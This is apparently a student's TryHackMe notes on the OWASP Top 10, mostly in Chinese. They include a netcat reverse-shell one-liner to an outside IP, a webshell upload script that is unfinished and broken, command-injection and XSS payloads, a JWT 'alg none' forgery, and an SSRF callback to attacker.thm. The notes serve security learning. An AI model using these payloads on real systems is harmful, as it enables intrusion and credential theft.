# OWASP 10
Open web app software project
version 2021
###### tags: `web` `tryhackme`
[TOC]
# Broken Access Control
主要想法是 我們能夠 使用普通User Account 來 Access Admin Page
Exploit
-> cookie Access
-> IDOR
-> SQLi -> login page
## IDOR
Insecurity Direct Object Reference
-> 利用 URL parameter 不安全使用

## Challenge
username noot
password test1234.

這裡note_id parameter 可能有IDOR 問題
```
http://10.10.100.49/note.php?note_id=1
```


# Cryptographic Failures
如通字面上意思 主要是 誤用或未使用 正確加密算法
-> 導致web vulnerablity 產生
E.G.
>在傳輸中的 cryptographic Failures(data in transit)
這個問題會導致 Attacker 透過抓包 來知道 info
>存放在Server cryptographic Failures (data at rest)
組合技
-> Cryptographic failures + Man in The Middle Attack
Capture week encrypted in transit
## Divulging sensitive data
Account or Password
## Challenge
### Gathering Info
http://10.10.100.49:81/login.php


```
<!-- Must remember to do something better with the database than store it in /assets... -->
```

webapp.db -> 看的出來他可能是 sqlite 的File
我們可以用 file command 來查看
```
┌──(root㉿kali)-[~/Downloads]
└─# file webapp.db
webapp.db: SQLite 3.x database, last written using SQLite version 3022000, file counter 255, database pages 7, 1st free page 5, free pages 1, cookie 0x6, schema 4, UTF-8, version-valid-for 255
```
SQLite 3.x database
### Sqlite
進入到DB
```
┌──(root㉿kali)-[~/Downloads]
└─# sqlite3 webapp.db
SQLite version 3.39.4 2022-09-29 15:55:41
Enter ".help" for usage hints.
sqlite>
```
.table 可以查看所有DB
```
sqlite> .tables
sessions users
```
```
sqlite> PRAGMA table_info(users);
0|userID|TEXT|1||1
1|username|TEXT|1||0
2|password|TEXT|1||0
3|admin|INT|1||0
sqlite> select * from users;
4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
```
PRAGMA table_info(users); 查看talbe 的 columns name 跟 attribute
select * from users; 查表
### Hash crack
我們可以嘗是Hash crack Admin hash
https://crackstation.net/

Admin password
```
qwertyuiop
```
這樣我們就能嘗試登入 Admin Page
### login admin

# Injection
當 user input 被 application 當成 command or parameter 時 -> 就會有 injection 的問題
Injection Type
- SQL injection
- Command injection
防範 (defense)
- Using allow list
白名單的方法 ->allow 合理的格式
- Stripping input
在處理前把危險的Chars 刪掉
## Command Injection
當web 有與CLI 交互的互動函式 就可能有致個問題
php systems function
```
system('ls', $retval);
```
```
exec('whoami', $output, $retval);
```
## Vulnerable Code
```php
<?php
if (isset($_GET["mooing"])) {
$mooing = $_GET["mooing"];
$cow = 'default';
if(isset($_GET["cow"]))
$cow = $_GET["cow"];
passthru("perl /usr/bin/cowsay -f $cow $mooing");
}
?>
```
## Challenge
```
$ ls -la
```

How many non-root/non-service/non-daemon users are there?
```
& cat /etc/passwd | grep -v nologin
```

```
& cat /etc/os-release
```

# Insecure Design
Insecure Design -> 不安全架構 不是code或configuration的問題
在 Early stages of the development lifecycle 沒有威脅建模 容易有這種 Vulnerability
e.g.
Programer-> 可能會有一些快捷方法(shortcuts) 來加速開發 就有可能 Occur Insecure Design
可能會在開發時 Disable 掉一些 驗證機制但最後沒有用回來 或是有一些測試性密碼
## Insecure Password Resets
hacked Instagram
https://thezerohack.com/hack-any-instagram

---

## Challenge
- Try to reset joseph's password

向這個security question 可以先去做OSINT 來去猜Answer
我有找過但感覺joseph太多info 沒辦法利用
他的option 2 感覺比較好猜

---

password: GD7lRSxzcfh8XZ

## Security Misconfiguration
Miscofniguration 不是code 或 architecture 問題
他屬於人為的 vulnerability
Command vulnerability
- cloud server 設定不當
- 開啟不必要的 Service, Page, account, privilege
- Default password
- 過於詳細的Error Message
- HTTP
這種vulnerability 會延伸更多有問題的vulnerability (組合技)
## Debugging Interfaces
Debugger console 可以透過 URL 的訪問

## Challenge
```
import os; cmd=os.system("ls -la"); print(cmd)
```
這只會Return value

```
import os; print(os.popen("ls -la").read())
```
os.system 會 return code status
os.popen("ls -la") Return 一個 file Descript 的 object
https://blog.csdn.net/xc_zhou/article/details/96445422

---

---

# vulnerable and Outdate component
這個弱點 來自於 well-know vulnerability (CVE)
當Software 沒有及時update 就會有這個問題
Gathering Information 在這個stpe很重要
必須先 Enumerate application 的 version or 使用的framework 來去找對應的Script
[Exploit-DB](https://www.exploit-db.com/)
## challenge
https://www.exploit-db.com/exploits/47887 (exploit DB) 公開 Remote Code Execution

可以點
ADD new Book
shell upload Page
http://10.10.169.248:84/admin_add.php



---
webShell
```
<?php exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.170.145 4242 >/tmp/f")?>
```

```
nc -lvnp 443
listening on [any] 443 ...
connect to [10.17.11.72] from (UNKNOWN) [10.10.44.39] 37931
/bin/sh: can't access tty; job control turned off
/htdocs/bootstrap/img $ ls
android_studio.jpg
beauty_js.jpg
c_14_quick.jpg
c_sharp_6.jpg
doing_good.jpg
img1.jpg
img2.jpg
img3.jpg
kotlin_250x250.png
logic_program.jpg
mobile_app.jpg
phpWebShell.php
pro_asp4.jpg
pro_js.jpg
unnamed.png
web_app_dev.jpg
/htdocs/bootstrap/img $ whoami
apache
/htdocs/bootstrap/img $
```
```
/htdocs/bootstrap/img $ cat /opt/flag.txt
THM{But_1ts_n0t_my_f4ult!}
```
嘗試編寫 Attack Script(編寫中ing)
```python
import argparse
# For generate Random Strings
import random
import string
# For requests
import requests
def targetURL(url):
url = url.rstrip("/") #在一次剝皮 把 "/"" 去掉
print(f'The Target URL is {url}')
def RandomStrings(length):
Chars = string.ascii_letters + string.digits
#print(Chars) # output Result:"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
randomFile = ''.join(random.choice(Chars) for i in range (length))
#print(randomFile) # ouput:"z4qmmH35XI"
return randomFile
payload = "<?php echo shell_exec($_GET['cmd']); ?>"
webshell = {'image': (RandomStrings(10)+'.php', payload, 'text/php')} #() tuple 不可變
# print(webshell['image'][0]) # 打印檔案名稱
# print(webshell['image'][1]) # 打印內容
# print(webshell['image'][2]) # 打印 MIME 類型
print("> try to upload web shell....")
request = requests.post(
url+'admin_add.php',
file=webshell,
data={'add':'1'},
verify=False
)
#data={'add':'1'} from 裡面 add
#verify = False不進行SSL/TLS 驗證
print(f'response: {request.text}')
print('shell upload success !!!!!!!!')
if __name__ == '__main__':
# input url parameter
parser = argparse.ArgumentParser()
parser.add_argument('url', action='store', help='target Url') #action -> store value to arg.url
args = parser.parse_args() #解析結果存儲在 args 物件中
targetURL(args.url)
GenerateRandomStrings(10)
```
# Identification and Authentication Failures
識別和驗證失敗
Command Flaws
- Brute Force Attack
mitigation:lockout after a certain number of attempts.
- Week password
mitigation:strong password policy.
- Week Session cookie
session 跟 cookie 是 server Track user 的方法之一
如果能pridict cookie value -> 就能不用密碼 進行登入
mitigation:session cookie 加密
XSS-> httponly
## Challenge
身分驗證 logic 缺陷
Forget to sanitise the input -> SQLi
re-registration of an existing user(是本challenge)
重註冊logic漏洞
### Exploit 思路
想法是
透過 在要重 Registeration
"admin"
"(space)admin" -> 來Bypass Existing Account (Check)
設定置自己知道的密碼
來獲得相同權限(如果permission 檢查不夠嚴謹)

# Software and Data Integrity Failures
軟體跟資料的完整性失效
Intergrity -> 確保 Data 是不可以被任意修改
-> 透夠比對 Hash 就能確保 Data 在傳輸過程的 Intergrity
Hash Methods
MD5, SHA1, SHA256
使用方法

## Vulnerability
當Developer 沒有使用 Any kind of integrity checks
時 在 data passed to application 會無法得知是否被惡意modify -> Unexpected consequences
- Software Integrity Failures
- Data Integrity Failures
## Software Integrity Failures
這種 軟體的Integrity 失效 常跟第三方 library 有關(無法control 的)
e.g.
```
<script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
```
When Attacke replace this libiray and inject malicious code.
當我們Access web -> 就會exec Malicious Code(有點像Store Xss 概念)
### SRI
Subresource integrity -> 確保地3方 Library Code 沒被 inject Malisious Code
https://www.srihash.org/
HTML 寫法

```js=
<script src="https://code.jquery.com/jquery-3.6.1.min.js" integrity="sha256-o88AwQnZB+VDvE9tvIXrMQaPlFFSUTR+nldQm1LuPXQ=" crossorigin="anonymous"></script>
```
Integrity -> SRI 產生的Hash Value
## Data intergrity failure
Cookie -> session
Browser 信任修改過cookie 是一種常見Data intergrity failure
cookie 中有用戶名資訊 (弱點)
## Cookie integrity Protection
## JSON Web Tokens (JWT)
JWT -> Token
可以將Json格式的 Header 跟 payload Value 取出
然後 編成 驗證intergrity的Token

Payload -> 通常是 web application 想要Client 去Store 的 InFo e.g cookie
Signature -> HS256 算法 他跟Hash功能很像 用於驗證payload 的integrity
Signature

Authentication

如果跟改username -> Signature won't match the payload -> 就會知道 payload 遭到 tampered
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7wPgVLvEUonaieJWBJBYt5xOph2CpIhlxqdUw
```



Signature contains binary data so even if you decode it, you won't be able to make much sense of it anyways.
### JWT Signature Bypass
step1 Modify alg -> "none"
step2 Remove signature Part

## challenge
```
http://10.10.170.203:8089/flag
```

已知JWT->前面可以被base64 Decode
```
{"typ":"JWT","alg":"HS256"}{"username":"guest","exp":1684936962}^ ײ e;9aψ'v:|b"M
```
修改 JWT
```
{"typ":"JWT","alg":"none"}
```
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=
```
---
```
{"username":"admin","exp":1684937634}
```
```
eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg0OTM3NjM0fQ==
```
把兩個拼在一起 (注意payload 後面還有一點)
```
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0=.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjg0OTM3NjM0fQ==.
```

# Security Logging and Monitoring Failures
不安全的 安全紀錄和監控失敗
Security log 應具備
- HTTP statu
- Username
- API endpoing/ locol page
- TimeStamp
- IP Address
## Impacts
如果沒有 Security log 會造成
Regulatory damage
會導致 Web Owner -> 需要負責損失
Risk of further attacks
## Suspicious activity
### Multiple unauthorised attempt
e.g. -> admin page
### Anomalous IP addresses
異常IP
### Automated tools
判斷方法
User-Agent (http header)
Request speed
### Common payloads
# SSRF
Server-Side Request Forgery
當Web Application 透過URL 來向第三方 使用service 且我們可以control Request content 就會有SSRF 的問題
## Sample

Attack 可能會替換 srv3.sns.thm 改成自己的IP
透過 NC 來查看訊息
可能會拿到 某些Service 的API Token
Change URL
```
https://www.mysite.com/sms?server=attacker.thm&msg=ABC
```
Attacker listening
```
user@attackbox$ nc -lvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.1.236 43830
GET /:8087/public-docs/123.pdf HTTP/1.1
Host: 10.10.10.11
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
```
## SSRF can be used for
- Enumerate internal network IP or Port
枚舉內部網路IP 跟 port
- Abuse Trust relationship Between servers and gain access to restricted services
- Interact with some non-HTTP services to get remote code execution (RCE).
## Challenge

admin page -> Host 必須是 "localhost" 才能 Access

SSRF vulnerability

```htmlmixed
<a href="/download?server=secure-file-storage.com:8087&id=75482342" class="w3-button w3-light-grey w3-padding-large w3-margin-top">
<i class="fa fa-download"></i> Download Resume
</a>
```
secure-file-storage.com:8087 -> 可以去Replace
```
<a href="/download?server=10.17.11.72:80&id=75482342" class="w3-button w3-light-grey w3-padding-large w3-margin-top">
<i class="fa fa-download"></i> Download Resume
</a>
```
攔截 第3方的 Request
```
┌──(root㉿Meowhecker)-[~]
└─# nc -lvnp 443
listening on [any] 443 ...
connect to [10.17.11.72] from (UNKNOWN) [10.10.121.27] 52922
GET /public-docs-k057230990384293/75482342.pdf HTTP/1.1
Host: 10.17.11.72:443
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*
X-API-KEY: THM{Hello_Im_just_an_API_key}
```
其中有個 interesting Attribute
```
X-API-KEY
```
這個問題有點小難(skip)

測試payload
```
http://10.10.121.27:8087/download?server=10.10.121.27:8087/admin&name=&id=75482342
```
# XSS
>On the same page, create an alert popup box appear on the page with your document cookies.
```
<svg onload=alert(document.cookie)></svg>
```

---
>Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.
要改特定element 我們要先找到id

```
id="thm-title"
```
Change HTML
```
const element = document.getElementById("thm-title");
element.innerHTML = "I am Meowhecker";
```
```
document.getElementById('thm-title').innerHTML = 'I am Meowhecker';
```
Payload
```
<script>
const element = document.getElementById("thm-title");
element.innerHTML = "I am Meowhecker";
</script>
```
or
用jquery去試
```
<script>document.querySelector('#thm-title').textContent = 'I am a hacker'</script>
```

# Insecurity Deserialization
F12 -> storage
可以發現 他的cookie 存在很大的問題



session ID
```
gAN9cQAoWAkAAABzZXNzaW9uSWRxAVggAAAAODE1OTFiMTRjNjRhNDA1ZjljZTk2YThlZTgwYTI0MGFxAlgLAAAAZW5jb2RlZGZsYWdxA1gYAAAAVEhNe2dvb2Rfb2xkX2Jhc2U2NF9odWh9cQR1Lg==
```
感覺是base64
>1st flag (cookie value)

>2nd flag (admin dashboard)
user-> admin

# Task 6 Who's flying this thing?
## Broken Access Control exploits
Horizontal Privilege Escalation
Vertical Privilege Escalation

## Challenge
Access admin page